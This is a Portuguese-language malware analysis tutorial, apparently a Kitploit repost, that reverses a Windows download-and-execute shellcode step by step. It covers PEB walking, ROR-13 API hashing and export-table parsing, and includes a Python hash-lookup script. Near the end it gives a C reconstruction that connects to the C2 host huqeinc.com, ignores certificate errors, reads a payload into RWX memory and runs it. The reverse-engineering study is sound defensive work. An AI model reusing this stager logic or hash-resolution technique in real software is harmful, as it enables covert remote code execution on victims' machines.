root@kitploit:~
Após um prólogo simples (fazendo push de todos os registradores e criando um novo stack frame), vemos que `edx` é zerado (por meio de XOR consigo mesmo).
Em seguida, `edx` recebe o endereço de `fs:[0x30]`. Esse endereço é o [Process Environment Block (PEB)](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb).
O PEB é um bloco no modo usuário que contém dados úteis que o processo pode utilizar, incluindo sua linha de comando, status de depuração, módulos carregados e outros. É uma otimização de desempenho para evitar syscalls desnecessárias do kernel.
Vemos vários endereços sendo referenciados - no IDA você poderia carregar a estrutura PEB, mas apenas para fins de completude:
- O offset 0xc é o membro `LDR` do `PEB`, que tem o tipo `PPEB_LDR_DATA`, documentado [aqui](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data).
- O offset 0x14 na estrutura `PEB_LDR_DATA` é o membro `InMemoryOrderModuleList`, do tipo `LIST_ENTRY`. A estrutura `LIST_ENTRY` é amplamente utilizada no Windows e geralmente é apenas um cabeçalho em uma estrutura maior. Este caso não é exceção - o tipo real das entradas é `LDR_DATA_TABLE_ENTRY`.
- No offset 0x24 da estrutura `LDR_DATA_TABLE_ENTRY` existe um membro `FullDllName` do tipo `UNICODE_STRING`. Esse tipo é amplamente utilizado no Windows e é essencialmente um contêiner para uma string Pascal - as duas primeiras WORDs descrevem o comprimento da string e sua capacidade de buffer. Portanto, no offset 0x28, vincularemos o buffer real - que será salvo no registrador `esi`.
- O registrador `ecx` está a apenas 2 bytes antes do buffer do nome da DLL - e contém o comprimento da string.

Em resumo, todo este trecho obtém o `FullDllName` na entrada de módulo atual do PEB - salvando o buffer em `esi` e seu comprimento em `ecx`.

## Cálculo do hash do nome do módulo
Vamos examinar as próximas instruções:```assembly
0x000000000000001c:  31 FF                      xor        edi, edi
0x000000000000001e:  31 C0                      xor        eax, eax
0x0000000000000020:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000021:  3C 61                      cmp        al, 0x61
0x0000000000000023:  7C 02                      jl         0x27
0x0000000000000025:  2C 20                      sub        al, 0x20
0x0000000000000027:  C1 CF 0D                   ror        edi, 0xd
0x000000000000002a:  01 C7                      add        edi, eax
0x000000000000002c:  E2 F0                      loop       0x1e

A instrução lodsb é exatamente o motivo pelo qual a string foi salva em esi, o comprimento foi salvo em ecx e o flag de direção foi limpo. Isso lê o primeiro caractere ANSI (byte) apontado por esi, incrementando esi em um e salvando o resultado no registrador al. As partes posteriores convertem caracteres minúsculos em maiúsculos - se o código ASCII for maior ou igual a 0x61 ('a'), então subtrai-se 0x20. Após a conversão para maiúsculas, o registrador edi é rotacionado à direita por 0xd e então o valor do caractere é adicionado a ele. Como edi está sendo rotacionado - ele perde a informação sobre os caracteres que são adicionados a ele, mas mantém algum tipo de agregado deles em seu valor. Em outras palavras - edi é algum tipo de hash da string apontada por esi. A instrução loop, aliás, tira proveito de forma inteligente do fato de que ecx é o contador do comprimento da string - ela diminui ecx em um e executará a próxima iteração enquanto ecx não for zero. Traduzir essa lógica para Python é bastante simples:```python def get_string_hash(s): v = 0 for c in s.upper(): v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

root@kitploit:~
## Percorrendo a tabela de exportação
Vamos passar para as próximas instruções:```assembly
0x000000000000002e:  52                         push       edx
0x000000000000002f:  57                         push       edi
0x0000000000000030:  8B 52 10                   mov        edx, dword ptr [edx + 0x10]
0x0000000000000033:  8B 42 3C                   mov        eax, dword ptr [edx + 0x3c]
0x0000000000000036:  01 D0                      add        eax, edx
0x0000000000000038:  8B 40 78                   mov        eax, dword ptr [eax + 0x78]
0x000000000000003b:  85 C0                      test       eax, eax
0x000000000000003d:  74 4A                      je         0x89
0x000000000000003f:  01 D0                      add        eax, edx
0x0000000000000041:  50                         push       eax
0x0000000000000042:  8B 48 18                   mov        ecx, dword ptr [eax + 0x18]
0x0000000000000045:  8B 58 20                   mov        ebx, dword ptr [eax + 0x20]
0x0000000000000048:  01 D3                      add        ebx, edx

Primeiro, edx (que contém a entrada do módulo atual) e edi (que contém o hash do seu nome) são salvos na pilha. Depois disso, edx é referenciado no offset 0x10. Como estamos a 8 bytes dentro da estrutura (do tipo LDR_DATA_TABLE_ENTRY), 0x10 é o membro DllBase da entrada (0x18 - 0x8). Mesmo em memória, o módulo tem uma estrutura de dados PE, e o offset 0x3c corresponde ao ponteiro do cabeçalho PE no cabeçalho DOS. Podemos ver eax tratado como um RVA, pois está somando edx a si mesmo - edx é o endereço base do módulo em memória. Da mesma forma, o offset 0x78 a partir daí é a tabela de exportação do PE, que contém informações sobre os símbolos exportados (normalmente funções). A estrutura de dados para isso é chamada IMAGE_EXPORT_DIRECTORY e é bem documentada. Assumindo que não seja zero (o que está sendo testado) - empurramos eax e desreferenciamos duas partes dele:

  • No offset 0x18 obtemos o membro NumberOfNames.
  • No offset 0x20 obtemos o membro AddressOfNames. Então, para resumir, esta parte realizou alguma análise do PE para obter a tabela de exportação - e especificamente o número de símbolos exportados (em ecx) e seu endereço em memória (em ebx).

Continuando:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx

root@kitploit:~
A instrução `jecxz` desvia se `ecx` for zero - isso acontece se não houver nomes exportados, mas também indica que essa verificação ocorrerá em um loop.
O fato de decrementarmos `ecx` confirma essa suspeita - esperamos alguma iteração sobre todos os símbolos exportados para corresponder a alguma condição.
Vemos `ecx` multiplicado por 4 e somado a `ebx` - todos os itens em `AddressOfNames` são RVAs para os nomes dos símbolos, e então `esi` aponta para um nome exportado eventualmente.```assembly
0x0000000000000052:  31 FF                      xor        edi, edi
0x0000000000000054:  31 C0                      xor        eax, eax
0x0000000000000056:  AC                         lodsb      al, byte ptr [esi]
0x0000000000000057:  C1 CF 0D                   ror        edi, 0xd
0x000000000000005a:  01 C7                      add        edi, eax
0x000000000000005c:  38 E0                      cmp        al, ah
0x000000000000005e:  75 F4                      jne        0x54

Este trecho assemelha-se ao mesmo cálculo de hash que vimos anteriormente, mas em vez de usar ecx como contador - calcula o hash até um terminador NUL:

  • Primeiro, edi é atribuído com zero (através de auto-XOR). Tal como antes - edi manterá o valor do hash.
  • O registo eax também é atribuído a zero. O seu byte inferior (al) conterá o código ASCII do caractere atual em cada iteração.
  • Usando lodsb, o código define al como o byte apontado por esi e incrementa esi para o próximo byte.
  • Tal como antes, edi é rotacionado à direita 0xd vezes e depois o valor ASCII do caractere atual é adicionado a ele.
  • A comparação de al e ah na verdade apenas compara al com zero (terminador NUL), pois nenhuma operação aqui toca nos outros bytes de eax e garantimos que eles são zero.
  • Em vez de usar a instrução loop (que interage com ecx, simplesmente saltamos de volta (com jne) - desde que não tenhamos encontrado um terminador NUL.

Esperamos que as próximas partes realizem algum tipo de comparação entre os diferentes hashes que calculamos (nome do módulo, nome do símbolo) e as entradas que recebemos:```assembly 0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8] 0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24] 0x0000000000000066: 75 E2 jne 0x4a 0x0000000000000068: 58 pop eax 0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24] 0x000000000000006c: 01 D3 add ebx, edx 0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2] 0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c] 0x0000000000000075: 01 D3 add ebx, edx 0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4] 0x000000000000007a: 01 D0 add eax, edx 0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax 0x0000000000000080: 5B pop ebx 0x0000000000000081: 5B pop ebx 0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx 0x0000000000000084: 5A pop edx 0x0000000000000085: 51 push ecx 0x0000000000000086: FF E0 jmp eax

root@kitploit:~
Bem, `ebp-8` aponta exatamente para o antigo valor de `edi` que colocamos na pilha - que continha o hash do nome do módulo definido.
Somamos esse valor de hash ao valor de hash do nome exportado e o comparamos com o DWORD em `ebp+0x24`.
Por causa de uma instrução `pushad` anterior, colocamos 8 registradores na pilha, então isso aponta diretamente para o último valor misterioso que foi colocado na pilha no início (0x726774c)!
Se não forem iguais - saltamos para o offset `0x4a` para avançar para o próximo símbolo no mesmo módulo.
Caso contrário, restauramos a tabela de exportação para `eax`, desreferenciamos 0x24 bytes à frente (que é a tabela de ordinais) e adicionamos à base `ebx`.
A tabela de ordinais contém 2 bytes para cada entrada - e como `ecx` é o número da entrada, `ebx + ecx*2` é o valor ordinal.
As próximas duas linhas são diretas: `0x1c` na tabela de exportação é o endereço das funções exportadas, e `ebx + ecx*4` representa o endereço da função indexado por `ecx`.
Como pode ser visto, esse valor é salvo em `eax` e eventualmente é chamado:
- Salvar o valor de `eax` em `esp + 0x24`, que neste momento é exatamente onde o registrador `eax` foi salvo na instrução `pushad`. Isso garante que o valor de `eax` não seja perdido quando executarmos `popad`.
- Fazer dois pops descartáveis para `ebx` para se livrar de dois pushes anteriores (o hash calculado e a entrada do módulo).
- Executar um `popad`, que restaura todos os registradores de propósito geral da pilha, mas salva `eax` devido à nossa substituição anterior. Nesse estágio, a pilha e os registradores estão iguais ao seu estado original ao entrar na função, exceto `eax`, que é um ponteiro de função desejado.
- Desempilhar o valor de retorno (colocado na pilha pelo `call ebp`) para `ecx` e o hash desejado para `edx`, e então colocar `ecx` novamente na pilha, essencialmente se livrando do valor de hash misterioso na pilha.
- Executar `jmp eax` neste ponto encerra a função - a função apontada por `eax` será executada e, quando retornar, usará o valor de retorno original.

A última parte dessa longa lógica basicamente continua para o próximo módulo:```assembly
0x0000000000000088:  58                         pop        eax
0x0000000000000089:  5F                         pop        edi
0x000000000000008a:  5A                         pop        edx
0x000000000000008b:  8B 12                      mov        edx, dword ptr [edx]
0x000000000000008d:  EB 86                      jmp        0x15

Isso essencialmente fará a limpeza dos pushes anteriores e se moverá para o offset 0x15, onde o próximo módulo será usado.

Para resumir - todo o shellcode entre o offset 6 e 0x8d (inclusive) espera que parâmetros sejam empurrados para uma função, seguidos por um hash personalizado. Quando o hash é correspondido - a função relevante é chamada. Certamente é uma boa maneira de evitar ter strings com nomes de funções no seu código!

Já que examinaremos esses hashes com bastante frequência, é bom automatizar nosso trabalho. Vamos reutilizar os scripts Python que codificamos anteriormente e escrever uma função que procura um hash dado:```python import os import pefile import sys

BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')

def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v

def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))

def get_sym_hash(s): return get_string_hash(s + '\x00')

def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')

if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)

root@kitploit:~
Por exemplo, quando executamos `get_hash.py 0x726774c kernel32.dll` obtemos a saída `kernel32.dll!LoadLibraryA`!

## Analisando a lógica principal
Agora que entendemos como toda a funcionalidade de hashing funciona, é hora de caçar hashes!
Vamos voltar à lógica principal — dissemos que a string `wininet` é empurrada para a pilha — e agora sabemos que `LoadLibraryA` é chamada com ela.
As próximas partes agora são:```assembly
0x00000000000000a2:  E8 00 00 00 00             call       0xa7
0x00000000000000a7:  31 FF                      xor        edi, edi
0x00000000000000a9:  57                         push       edi
0x00000000000000aa:  57                         push       edi
0x00000000000000ab:  57                         push       edi
0x00000000000000ac:  57                         push       edi
0x00000000000000ad:  57                         push       edi
0x00000000000000ae:  68 3A 56 79 A7             push       0xa779563a
0x00000000000000b3:  FF D5                      call       ebp

O call ali empurra o endereço de retorno para a pilha (0xa7). Em seguida, zeramos edi e colocamos 5 zeros na pilha. O 0xa779563a é outro hash, desta vez em wininet.dll, já que get_hash.py 0xa779563a produz wininet.dll!InternetOpenA. Portanto, o código chama InternetOpenA com todos os zeros e NULLs. Há alguns saltos que terminam em uma chamada de volta ao offset 0xba:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...

root@kitploit:~
A ideia é que, ao retornarmos, teremos o endereço do offset `0x331` empurrado na pilha.
Adicionei algumas instruções de assembly nesse endereço — note que `outs`, por exemplo, não é algo que esperamos.
Examinar esses bytes *como dados* conta uma história diferente:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')

Isso produz a string huqeinc.com (com um terminador NUL), seguida por 4 bytes ininteligíveis. Então, quando voltamos para o endereço 0xba, fazemos pop para ebx, que apontará para essa string. Vamos examinar as partes que seguem essa instrução:```assembly 0x00000000000000bb: 31 C9 xor ecx, ecx 0x00000000000000bd: 51 push ecx 0x00000000000000be: 51 push ecx 0x00000000000000bf: 6A 03 push 3 0x00000000000000c1: 51 push ecx 0x00000000000000c2: 51 push ecx 0x00000000000000c3: 68 BB 01 00 00 push 0x1bb 0x00000000000000c8: 53 push ebx 0x00000000000000c9: 50 push eax 0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957 0x00000000000000cf: FF D5 call ebp

root@kitploit:~
O valor `0xc69f8957` é outro hash, desta vez para `wininet.dll!InternetConnectA`.
Essa função recebe muitos parâmetros, mas essencialmente temos: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Observe que `INTERNET_SERVICE_HTTP` é 3, `0x1bb` é 443, e `eax` continha o resultado de `InternetOpenA`.

Seguindo em frente, vemos um conjunto semelhante de saltos após fazer backup do resultado de `InternetConnectA`:```assembly
0x00000000000000d1:  50                         push       eax
0x00000000000000d2:  E9 8C 00 00 00             jmp        0x163
0x00000000000000d7:  5B                         pop        ebx
0x00000000000000d8:  31 D2                      xor        edx, edx
0x00000000000000da:  52                         push       edx
0x00000000000000db:  68 00 32 C0 84             push       0x84c03200
0x00000000000000e0:  52                         push       edx
0x00000000000000e1:  52                         push       edx
0x00000000000000e2:  52                         push       edx
0x00000000000000e3:  53                         push       ebx
0x00000000000000e4:  52                         push       edx
0x00000000000000e5:  50                         push       eax
0x00000000000000e6:  68 EB 55 2E 3B             push       0x3b2e55eb
0x00000000000000eb:  FF D5                      call       ebp
...
0x0000000000000163:  E8 6F FF FF FF             call       0xd7
0x0000000000000168:  2F                         das        
0x0000000000000169:  51                         push       ecx
0x000000000000016a:  70 59                      jo         0x1c5
...

Assim como antes, as instruções após a chamada fazem menos sentido, então suspeitamos que devam ser interpretadas como dados. De fato, elas codificam a string terminada em NUL /QpYB, o que não é muito útil. Observamos que, quando voltamos ao offset 0xd7, um ponteiro para essa string é empurrado para a pilha. Voltando a 0xd7, esse endereço é removido da pilha para ebx. Para entender o que esses dados significam, vamos descobrir qual função é chamada. O hash 0x3b2e55eb corresponde a wininet.dll!HttpOpenRequestA, que também recebe muitos parâmetros. A maioria desses parâmetros será NULL (devido ao push de edx), exceto os seguintes:

  • hConnect é eax, que é o resultado de InternetConnectA.
  • lpszObjectName é a string que vimos (/QpYB).
  • dwFlags contém o valor 0x84c03200, que, de acordo com isto, é INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.

As próximas instruções terminam com mais uma chamada de API:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp

root@kitploit:~
Após fazer backup dos resultados de `HttpOpenRequestA` com `esi`, adicionamos `ebx` com 0x50.
Como é garantido que `ebx` persiste entre chamadas, agora ele apontará para o offset `0x1b8` no shellcode, que, quando apresentado como string, se parece com isto: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
O hash `0x869e4675` resolve a API `wininet.dll!InternetSetOptionA`, que receberá os seguintes argumentos:
- O handle de requisição que foi salvo em `esi`.
- O valor `0x1f` como `dwOption`, que é `INTERNET_OPTION_SECURITY_FLAGS` de acordo com [isto](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags).
- O parâmetro `lpBuffer` será um ponteiro para o valor `0x3380`, que codifica os flags de segurança para a requisição: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- O `dwBufferLength` é 4, pois apenas um DWORD foi definido como `lpBuffer`.

Isso fará a conexão usar TLS, mas ignorar todos os erros de certificado, etc.

Aqui estão as próximas partes:```assembly
0x0000000000000106:  5F                         pop        edi
0x0000000000000107:  31 FF                      xor        edi, edi
0x0000000000000109:  57                         push       edi
0x000000000000010a:  57                         push       edi
0x000000000000010b:  6A FF                      push       -1
0x000000000000010d:  53                         push       ebx
0x000000000000010e:  56                         push       esi
0x000000000000010f:  68 2D 06 18 7B             push       0x7b18062d
0x0000000000000114:  FF D5                      call       ebp
0x0000000000000116:  85 C0                      test       eax, eax
0x0000000000000118:  0F 84 CA 01 00 00          je         0x2e8
0x000000000000011e:  31 FF                      xor        edi, edi
0x0000000000000120:  85 F6                      test       esi, esi
0x0000000000000122:  74 04                      je         0x128
0x0000000000000124:  89 F9                      mov        ecx, edi
0x0000000000000126:  EB 09                      jmp        0x131
0x0000000000000128:  68 AA C5 E2 5D             push       0x5de2c5aa
0x000000000000012d:  FF D5                      call       ebp
0x000000000000012f:  89 C1                      mov        ecx, eax
0x0000000000000131:  68 45 21 5E 31             push       0x315e2145
0x0000000000000136:  FF D5                      call       ebp
0x0000000000000138:  31 FF                      xor        edi, edi
0x000000000000013a:  57                         push       edi
0x000000000000013b:  6A 07                      push       7
0x000000000000013d:  51                         push       ecx
0x000000000000013e:  56                         push       esi
0x000000000000013f:  50                         push       eax
0x0000000000000140:  68 B7 57 E0 0B             push       0xbe057b7
0x0000000000000145:  FF D5                      call       ebp
0x0000000000000147:  BF 00 2F 00 00             mov        edi, 0x2f00
0x000000000000014c:  39 C7                      cmp        edi, eax
0x000000000000014e:  75 07                      jne        0x157
0x0000000000000150:  58                         pop        eax
0x0000000000000151:  50                         push       eax
0x0000000000000152:  E9 7B FF FF FF             jmp        0xd2
0x0000000000000157:  31 FF                      xor        edi, edi
0x0000000000000159:  E9 91 01 00 00             jmp        0x2ef

Existe um pop fictício para limpar o excesso de pushes anteriores (empurramos as opções de segurança para a pilha). Como vemos outro hash (0x7b18062d), resolvemos imediatamente sua API: wininet.dll!HttpSendRequestA. Há alguns pontos dignos de nota aqui:

  • O user agent salvo anteriormente em ebx é usado como segundo argumento da função.
  • Após a função ser chamada, há uma verificação para saber se ela teve sucesso — se falhou — saltamos para o offset 0x2e8.
  • Verificar se esi é zero na verdade verifica se o handle da requisição não é NULL. Isso é bem estranho, pois já invocamos HttpSendRequestA neste ponto, mas ainda assim — se fosse, saltamos para 0x128.
  • No offset 0x128, usamos o hash 0x5de2c5aa, que é kernel32.dll!GetLastError, e salvamos seu resultado em ecx.
  • No offset 0x131, usamos o hash 0x315e2145, que é user32.dll!GetDesktopWindow, e então usamos esse resultado com o hash 0xbe057b7, que é wininet.dll!InternetErrorDlg.
  • A constante 0x2f00 é ERROR_INTERNET_FORCE_RETRY, e comparamos o resultado de InternetErrorDlg com ela.

A ideia é simplesmente chamar InternetErrorDlg e ver se uma nova tentativa é necessária. Vamos também lembrar: se HttpSendRequestA falhar — saltamos para 0x2e8. Se tiver sucesso e uma nova tentativa não for necessária — saltamos para 0x2ef. Examinando o offset 0x2e8 (o caminho de falha):```assembly 0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0 0x00000000000002ed: FF D5 call ebp

root@kitploit:~
O hash traduz para `kernel32.dll!ExitProcess`, então, em caso de falha - saímos do processo.
Toda esta parte pode ser traduzida assim:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
	ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
	goto lblRetryConn;
}
...

Executando mais um shellcode

Vamos examinar o que acontece no offset 0x2ef:```assembly 0x00000000000002ef: 6A 40 push 0x40 0x00000000000002f1: 68 00 10 00 00 push 0x1000 0x00000000000002f6: 68 00 00 40 00 push 0x400000 0x00000000000002fb: 57 push edi 0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458 0x0000000000000301: FF D5 call ebp 0x0000000000000303: 93 xchg ebx, eax 0x0000000000000304: B9 00 00 00 00 mov ecx,0x0 0x0000000000000309: 01 D9 add ecx,ebx 0x000000000000030b: 51 push ecx 0x000000000000030c: 53 push ebx 0x000000000000030d: 89 E7 mov edi, esp 0x000000000000030f: 57 push edi 0x0000000000000310: 68 00 20 00 00 push 0x2000 0x0000000000000315: 53 push ebx 0x0000000000000316: 56 push esi 0x0000000000000317: 68 12 96 89 E2 push 0xe2899612 0x000000000000031c: FF D5 call ebp 0x000000000000031e: 85 C0 test eax, eax 0x0000000000000320: 74 C6 je 0x2e8

root@kitploit:~
Você consegue adivinhar qual hash `0xe553a458` é apenas com base nessas outras constantes?
- `0x40` é `PAGE_EXECUTEREADWRITE`, como vimos antes.
- `0x1000` é `MEM_COMMIT`.
De fato, esse hash corresponde a `kernel32.dll!VirtualAlloc`, e simplesmente alocamos um bloco RWX de tamanho `0x400000`.
É importante entender a lógica do atacante aqui — já que temos uma conexão com a internet para algum servidor C2, e agora alocamos uma página RWX — esperamos receber outro payload!

Após essa chamada, o buffer de memória resultante é salvo em `ebx` e `ecx`.
No offset `0x30b`, começamos outro conjunto de pushes para a pilha para uma chamada de função — desta vez com o hash `0xe2899612` (`wininet.dll!InternetReadFile`).
Os pushes definem os parâmetros (em ordem inversa):
- `hFile` é `esi`, que era a nossa requisição de internet (do tipo `HINTERNET`).
- `lpBuffer` é `ebx` — nosso buffer recém-alocado.
- `dwNumberOfBytesToRead` é definido como `0x2000`.
- `lpdwNumberOfBytesRead` é `edi`, que aponta para o espaço reservado que alocamos na pilha.

Por fim, se essa função falhar, saltamos para `0x2e8`, que novamente chamará `ExitProcess`.
Observe que há uma instrução `push` extra de `ecx` (offset `0x30b`) — isso significa que salvamos o endereço do nosso buffer alocado.

Estamos quase no final! Vamos examinar as últimas instruções:```assembly
0x0000000000000322:    8B 07                      mov        eax, dword ptr [edi]
0x0000000000000324:    01 C3                      add        ebx, eax
0x0000000000000326:    85 C0                      test       eax, eax
0x0000000000000328:    75 E5                      jne        0x30f
0x000000000000032a:    58                         pop        eax
0x000000000000032b:    C3                         ret

Bem, edi apontava para o número de bytes lidos - ele é desreferenciado em eax. Então, adicionamos esse valor a ebx, que é preservado e aponta para nossa região de memória RWX. Se eax não for zero, isso significa que alguns bytes foram lidos, então saltamos novamente para 0x30f para ler mais dados. Isso é comum em cenários de leitura - lemos no máximo 0x2000 bytes de cada vez até ler 0, o que significa que não restam bytes para ler. Se não saltarmos, estamos em 0x32a, onde fazemos pop dos bytes alocados da pilha e chamamos ret. Como lembrete, empurramos o início do buffer retornado antes, então ret o usará como endereço de retorno. Isso significa que simplesmente saltamos para o buffer que obtivemos - essencialmente tratando-o como outro shellcode!

Juntando tudo

É assim que nosso shellcode pode se parecer conceitualmente:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## Sumário

Embora este seja um shellcode muito comum de se analisar, analisá-lo estaticamente traz benefícios de aprendizado:
- Extraímos múltiplas camadas de código PowerShell para obter um shellcode de 32 bits.
- Durante a análise do shellcode, discutimos a `PEB` e as estratégias de shellcoding no Windows.
- Construímos uma ferramenta para consulta reversa de hashes (veja `get_hash.py` neste repositório).
- Discutimos técnicas comuns de shellcode, como `push-ret` e `call-pop`.
- Abordamos algumas partes da estrutura do arquivo `PE`.

Obrigado,

Jonathan Bar Or (https://jonathanbaror.com)
Baixar ferramenta